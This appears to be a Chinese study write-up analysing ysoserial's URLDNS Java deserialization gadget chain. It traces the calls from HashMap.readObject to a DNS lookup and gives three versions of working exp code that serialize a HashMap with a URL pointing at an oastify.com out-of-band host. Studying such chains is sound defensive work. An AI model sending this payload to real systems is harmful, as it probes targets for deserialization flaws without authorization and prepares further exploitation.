概述 HashMap实现了Serializable接口,可对HashMap对象进行反序列化操作
URLDNS是ysoserial中利用链的一个名字,因为URLDNS gadget触发结果是一次DNS请求,在目标没有回显的时候,能通过DNS请求得知是否存在反序列漏洞,所有通常用于检查是否存在Java反序列化。
该利用链特点:
不限制jdk版本,使用的Java内置类,对第三方依赖没有要求
目标无回显,可以通过DNS请求验证是否存在反序列化漏洞
URLDNS利用链,只能发起DNS请求,并不能进行其他利用
该利用链原理就是HashMap类重写了readObject方法,readObject方法会读取一个序列化文件流,在readObject方法中的putVal方法会调用hash方法,hash方法下会调用URL类的hashCode方法,当hashCode属性不等于-1,会调用handler.hashCode方法
1 HashMap.readObject()->HashMap.putVal()->HashMap.hash()->URL.hashCode()
利用链分析 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import java.io.*;import java.net.URL;import java.util.HashMap;public class Main { public static void main (String[] args) throws Exception { URL url= new URL ("http://jrez39tc8ig53y7prbebzx9s1j7av1jq.oastify.com" ); HashMap<URL,Integer> hashmap = new HashMap <URL,Integer>(); hashmap.put(url,22 ); Serialize(hashmap); Unserialize(); } public static void Serialize (Object obj) throws Exception { ObjectOutputStream out = new ObjectOutputStream (new FileOutputStream ("E:\\学习\\web\\java学习\\test.ser" )); out.writeObject(obj); out.flush(); out.close(); } public static void Unserialize () throws Exception { ObjectInputStream in = new ObjectInputStream (new FileInputStream ("E:\\学习\\web\\java学习\\test.ser" )); Object obj = in.readObject(); System.out.println(obj); in.close(); } }
在readObject处下个断点,当执行到Unserialize();就会执行我们的hashmap的readObject():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException { ObjectInputStream.GetField fields = s.readFields(); ...... for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
而在函数最后会执行putVal,里面执行hash(key),这里的key就是我们传入的URL:
继续跟进:
在hashmap.hash()中会判断key是否为空,不是就执行URL.hashCode()方法:
这里判断hashCode的值是否为-1,是的话执行handler.hashCode(this)方法,而hashCode默认值为-1:
但这里需要注意,由于HashMap对象需要的参数是一个键值对 ,所以我们通过hashmap.put(url,22);将URL与22建立映射,后续可以通过 url 快速查找并获取其关联的值 22(例如 hashmap.get(url) 返回 22):
而细看put的源码可以发现该方法会与readObject()执行一样的函数,所以当执行了put(url,22)我们的hashCode值就已经变了,所以我们修正下exp将hashCode值改回去:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class Main { public static void main (String[] args) throws Exception { URL url= new URL ("http://jrez39tc8ig53y7prbebzx9s1j7av1jq.oastify.com" ); HashMap<URL,Integer> hashmap = new HashMap <URL,Integer>(); Class c = url.getClass(); Field hashcode= c.getDeclaredField("hashCode" ); hashcode.setAccessible(true ); hashmap.put(url,22 ); hashcode.set(url,-1 ); Serialize(hashmap); Unserialize(); } public static void Serialize (Object obj) throws Exception { ObjectOutputStream out = new ObjectOutputStream (new FileOutputStream ("E:\\学习\\web\\java学习\\test.ser" )); out.writeObject(obj); out.flush(); out.close(); } public static void Unserialize () throws Exception { ObjectInputStream in = new ObjectInputStream (new FileInputStream ("E:\\学习\\web\\java学习\\test.ser" )); Object obj = in.readObject(); System.out.println(obj); in.close(); } }
修改后继续刚才的步骤,handler为URLStreamHandler对象,所以将会执行URLStreamHandler.hashCode(this)方法:
第一个获取URL协议,第二个获取主机,跟进URLStreamHandIer.getHostAddress(u):
调用了URL.getHostAddress():
其中InetAddress.getByName(host)的作⽤是根据主机名,获取其IP地址 ,在⽹络上其实就是⼀次DNS查询。
而测试后会发现DNSLOG有两条记录,即一条为hashmap.put()的,一条为readObject()的
完整利用链:
1 2 3 4 5 6 7 Hashmap.readObject()-> Hashmap.hash()-> java.net.URL.hashCode()-> java.net.URLStreamHandler.hashCode()-> java.net.URLStreamHandler.getHostAddress()-> java.net.URL.getHostAddress()-> InetAddress.getByName();
而对比官方的ysoserial中的URLDNS.java的exp:
1 2 3 4 5 6 URLStreamHandler handler = new SilentURLStreamHandler ();HashMap ht = new HashMap (); URL u = new URL (null , url, handler); ht.put(u, url); Reflections.setFieldValue(u, "hashCode" , -1 ); return ht;
在ysoserial中添加了一个URLStreamHandler的handler,根据注解可以得知它的作用是为了避免在执行payload时候执行DNS解析 :
SilentURLStreamHandler:
1 2 3 4 5 6 7 8 9 static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection (URL u) throws IOException { return null ; } protected synchronized InetAddress getHostAddress (URL u) { return null ; } }
跟进SilentURLStreamHandler方法可以看到是一个自定义的静态类,继承URLStreamHandler。里面重写了getHostAddress(URL u)方法。使其在执行put方法时不会引起DNS解析,因为子类重写方法会覆盖父类方法,所以最后调用getHostAddress方法时只会返回null
而由于字段java.net.URL.handler是transient(瞬态的),所以它不会成为序列化payload的一部分 。即序列化时SilentURLStreamHandler方法不会被序列化,所以当反序列化时JVM会重新初始化handler,即原始URLStreamHandler类中的getHostAddress方法触发DNS解析
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import java.io.*;import java.lang.reflect.Field;import java.net.*;import java.util.HashMap;public class Main { public static void main (String[] args) throws Exception { URLStreamHandler handler=new silentURLStreamHandler (); URL url=new URL (null ,"http://jrez39tc8ig53y7prbebzx9s1j7av1jq.oastify.com" ,handler); HashMap<URL,Integer> hashmap = new HashMap <URL,Integer>(); hashmap.put(url,22 ); Class c=url.getClass(); Field hashcode=c.getDeclaredField("hashCode" ); hashcode.setAccessible(true ); hashcode.set(url,-1 ); serialize(hashmap); unserialize(); } public static void serialize (Object obj) throws Exception { FileOutputStream out=new FileOutputStream ("E:\\学习\\web\\java学习\\test.ser" ); ObjectOutputStream output=new ObjectOutputStream (out); output.writeObject(obj); output.flush(); output.close(); } public static void unserialize () throws Exception{ FileInputStream in=new FileInputStream ("E:\\学习\\web\\java学习\\test.ser" ); ObjectInputStream input=new ObjectInputStream (in); Object obj=input.readObject(); input.close(); } static class silentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection (URL u) throws IOException { return null ; } @Override protected InetAddress getHostAddress (URL u) { return null ; } } }
参考 https://xz.aliyun.com/news/8916
https://xz.aliyun.com/t/6787
https://www.cnblogs.com/N0r4h/p/15840776.html
https://nivi4.notion.site/Java-URLDNS-e9820d5abc6e402abcaf69ef876f74c0
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java